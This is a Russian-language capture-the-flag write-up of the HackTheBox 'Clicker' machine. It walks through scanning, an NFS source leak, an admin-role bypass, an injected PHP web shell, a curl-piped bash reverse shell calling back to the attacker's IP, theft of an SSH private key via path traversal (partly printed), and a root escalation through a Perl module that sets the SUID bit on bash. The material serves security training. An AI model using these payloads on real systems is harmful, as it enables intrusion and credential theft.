Обзор сервисов

Машине присвоен IP-адрес 10.10.11.232. Проведем стандартное сканирование с помощью nmap:

$ nmap --privileged -sS -p1-65535 -Pn -oN 10.10.11.232 10.10.11.232
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-24 19:54 GMT
Nmap scan report for 10.10.11.232
Host is up (0.049s latency).
Not shown: 65525 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
4545/tcp  open  worldscores
36659/tcp open  unknown
38177/tcp open  unknown
38787/tcp open  unknown
46779/tcp open  unknown
51905/tcp open  unknown

Весьма много сервисов, что нетипично для Linux-машины в HackTheBox.

Веб-сервис

Перейдем на веб-сервис с помощью браузера и увидим, что необходимо прописать домен в /etc/hosts:

Alt text

$ sudo nano /etc/hosts
10.10.11.232 clicker.htb

Веб-сервис - это игра, в которой есть регистрация и логин. После логина нас ждет кликер - нужно кликать и повышать уровни. Можно сохранять игру, после чего будет выполняться запрос /save_game.php?clicks=КОЛИЧЕСТВО_КЛИКОВ&level=УРОВЕНЬ.

Alt text

Alt text

NFS

Проверим, какие каталоги экспортируются через NFS.

$ /sbin/showmount --exports 10.10.11.232
Export list for 10.10.11.232:
/mnt/backups *

Примонтируем в локальную папку.

$ mkdir backups
$ sudo mount -t nfs 10.10.11.232:/mnt/backups backups/
$ ls -la
total 2240
drwxr-xr-x 2 nobody nogroup    4096 Sep  5 19:19 .
drwxr-xr-x 4 user   user       4096 Sep 24 20:06 ..
-rw-r--r-- 1 root   root    2284115 Sep  1 20:27 clicker.htb_backup.zip
$ cp clicker.htb_backup.zip ..
$ cd ..
$ unzip clicker.htb_backup.zip
$ cd clicker.htb

В файле save_game.php есть некая защита от пробрасывания роли.

Alt text

В файле export.php есть невалидируемый входной параметр extension, который мы можем изменять.

Alt text

Отправим запрос /save_game.php?clicks=0&level=0&role/**/=Admin, чтобы обойти проверку, после чего выйдем и залогинимся заново.

Alt text

Теперь мы имеем доступ к панели администратора, а также к файлу /export.php.

Alt text

Возьмем простейший шелл:

<?php echo(system($_GET['cmd'])); ?>

Закодируем в URLencode:

%3c%3f%70%68%70%20%65%63%68%6f%28%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%29%3b%20%3f%3e

Теперь подставим в save_game.php в качестве параметра nickname:

Alt text

А затем запустим экспорт:

Alt text

Теперь у нас есть web-shell:

http://clicker.htb/exports/top_players_00bwjs0r.php?cmd=whoami

Alt text

Загрузим шелл.

$ nano s.sh
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.47/4243 0>&1
$ python3 -m http.server 4242
$ rlwrap nc -lnvp 4243

Перейдем по ссылке и поймаем шелл:

http://clicker.htb/exports/top_players_00bwjs0r.php?cmd=curl%20http://10.10.14.47:4242/s.sh%20|%20bash

Alt text

Пользователь

В каталоге /opt/manage найдем интересный бинарник.

meterpreter > ls
Listing: /opt/manage
====================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100664/rw-rw-r--  256    fil   2023-07-21 22:29:16 +0000  README.txt
106775/rwxrwxr-x  16368  fil   2023-02-26 16:46:12 +0000  execute_query

meterpreter > cat README.txt
Web application Management

Use the binary to execute the following task:
 - 1: Creates the database structure and adds user admin
 - 2: Creates fake players (better not tell anyone)
 - 3: Resets the admin password
 - 4: Deletes all users except the admin

В бинарнике выполняется от пользователя 1000:1000 (jack) некий скрипт.

>>> bytes.fromhex("2f736569726575712f6b63616a2f656d6f682f").decode("utf-8")[::-1]
'/home/jack/queries/'

Alt text

>>> bytes.fromhex("203c20762d2072656b63696c63202764726f77737361705f62645f72656b63696c63273d64726f77737361702d2d20726573755f62645f72656b63696c6320752d206c7173796d2f6e69622f7273752f").decode("utf-8")[::-1]
"/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < "

Alt text

Это значит, что мы можем вытащить приватный ключ пользователя jack:

./execute_query 5 "../.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
...

Теперь можем подключиться как jack по ssh:

ssh -i id_rsa [email protected]

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

Посмотрим, что пользователь может выполнять с помощью sudo:

$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

Мы можем выполнять мониторинговый скрипт и переопределять переменные. Если посмотреть в скрипт, то увидим, что он вызывает файл /usr/bin/xml_pp, а это Perl скрипт. Воспользуемся инструкцией.

$ nano /tmp/root.pm
package root;
use strict;
use warnings;

system("chmod +s /bin/bash");

Затем запускаем мониторинговый скрипт с переопределением переменных и bash:

Alt text

Флаг суперпользователя

Alt text